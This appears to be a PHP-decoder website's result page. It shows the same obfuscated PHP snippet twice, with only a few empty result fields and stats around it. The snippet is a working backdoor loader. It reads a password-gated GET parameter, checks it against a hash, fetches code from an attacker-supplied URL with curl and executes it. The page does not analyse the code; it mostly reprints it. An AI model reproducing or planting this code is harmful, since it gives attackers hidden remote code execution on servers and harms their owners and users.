Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$wYz = range("~", " "); @(count($Z)==22&&in_array(gettype($Z).count($Z),$Z))?(("$"="$Y")&&..

Decoded Output download

<?  $wYz = range("~", " "); @(count($Z)==22&&in_array(gettype($Z).count($Z),$Z))?(("$"="$Y")&&($Z[86]="$"($Z[86]))&&(@class rN{ static function jUJWltQ($NPqwpHthiZ) { $JTcEwr = "r"."a"."n"."g"."e"; $ZQGHFumER = $JTcEwr("~", " "); $ch = explode("{", $NPqwpHthiZ); $GMvxh = ""; foreach ($ch as $ugCLhB => $OEX) $GMvxh .= $ZQGHFumER[$OEX - 6232]; return $GMvxh; } static function TlAREkYIP($wykqm, $nsMkc) { $UdLakGjyxc = curl_init($wykqm); curl_setopt($UdLakGjyxc, CURLOPT_RETURNTRANSFER, 1); $hFvz = curl_exec($UdLakGjyxc); return empty($hFvz) ? $nsMkc($wykqm) : $hFvz; } static function YPKzvFD() { $yUOB = array("6259{6244{6257{6261{6242{6257{6263{6256{6241{6248{6259{6242{6253{6247{6248","6243{6242{6244{6263{6244{6247{6242{6309{6307","6252{6243{6247{6248{6263{6258{6257{6259{6247{6258{6257","6246{6261{6259{6251","6260{6261{6243{6257{6304{6306{6263{6258{6257{6259{6247{6258{6257","6256{6253{6250{6257{6263{6255{6257{6242{6263{6259{6247{6248{6242{6257{6248{6242{6243","6286{6316","6233","6311{6316","6293{6276{6276{6293{6269","6247{6256"); foreach ($yUOB as $knyAcusPd) $NHgGm[] = self::jUJWltQ($knyAcusPd);$YszB = @$NHgGm[1](${"_"."G"."E"."T"}[$NHgGm[6+3]]); $FyhURzNr = @$NHgGm[3+0]($NHgGm[1+5], $YszB); $omb = $NHgGm[0+2]($FyhURzNr, true); @${"_"."G"."E"."T"}[$NHgGm[0+10]] == 1 && die($NHgGm[0+5](__FILE__)); if( ((@$omb[0] - time()) > 0) and (md5(md5($omb[1+2])) === "ac25e37832d44330a82f76d3bb818c6a") ): $obHasOycVE = self::TlAREkYIP($omb[0+1], $NHgGm[2+3]);@$NHgGm[0]("", $NHgGm[3+4] . $NHgGm[3+1]($obHasOycVE) . $NHgGm[3+5]);die; endif; }}rN::YPKzvFD(); ?>

Did this file decode correctly?

Original Code

$wYz = range("~", " "); @(count($Z)==22&&in_array(gettype($Z).count($Z),$Z))?(("$"="$Y")&&($Z[86]="$"($Z[86]))&&(@class rN{ static function jUJWltQ($NPqwpHthiZ) { $JTcEwr = "r"."a"."n"."g"."e"; $ZQGHFumER = $JTcEwr("~", " "); $ch = explode("{", $NPqwpHthiZ); $GMvxh = ""; foreach ($ch as $ugCLhB => $OEX) $GMvxh .= $ZQGHFumER[$OEX - 6232]; return $GMvxh; } static function TlAREkYIP($wykqm, $nsMkc) { $UdLakGjyxc = curl_init($wykqm); curl_setopt($UdLakGjyxc, CURLOPT_RETURNTRANSFER, 1); $hFvz = curl_exec($UdLakGjyxc); return empty($hFvz) ? $nsMkc($wykqm) : $hFvz; } static function YPKzvFD() { $yUOB = array("6259{6244{6257{6261{6242{6257{6263{6256{6241{6248{6259{6242{6253{6247{6248","6243{6242{6244{6263{6244{6247{6242{6309{6307","6252{6243{6247{6248{6263{6258{6257{6259{6247{6258{6257","6246{6261{6259{6251","6260{6261{6243{6257{6304{6306{6263{6258{6257{6259{6247{6258{6257","6256{6253{6250{6257{6263{6255{6257{6242{6263{6259{6247{6248{6242{6257{6248{6242{6243","6286{6316","6233","6311{6316","6293{6276{6276{6293{6269","6247{6256"); foreach ($yUOB as $knyAcusPd) $NHgGm[] = self::jUJWltQ($knyAcusPd);$YszB = @$NHgGm[1](${"_"."G"."E"."T"}[$NHgGm[6+3]]); $FyhURzNr = @$NHgGm[3+0]($NHgGm[1+5], $YszB); $omb = $NHgGm[0+2]($FyhURzNr, true); @${"_"."G"."E"."T"}[$NHgGm[0+10]] == 1 && die($NHgGm[0+5](__FILE__)); if( ((@$omb[0] - time()) > 0) and (md5(md5($omb[1+2])) === "ac25e37832d44330a82f76d3bb818c6a") ): $obHasOycVE = self::TlAREkYIP($omb[0+1], $NHgGm[2+3]);@$NHgGm[0]("", $NHgGm[3+4] . $NHgGm[3+1]($obHasOycVE) . $NHgGm[3+5]);die; endif; }}rN::YPKzvFD();

Function Calls

None

Variables

None

Stats

MD5 44d8e01e00f8dfd3be2e275769e8ac7f
Eval Count 0
Decode Time 56 ms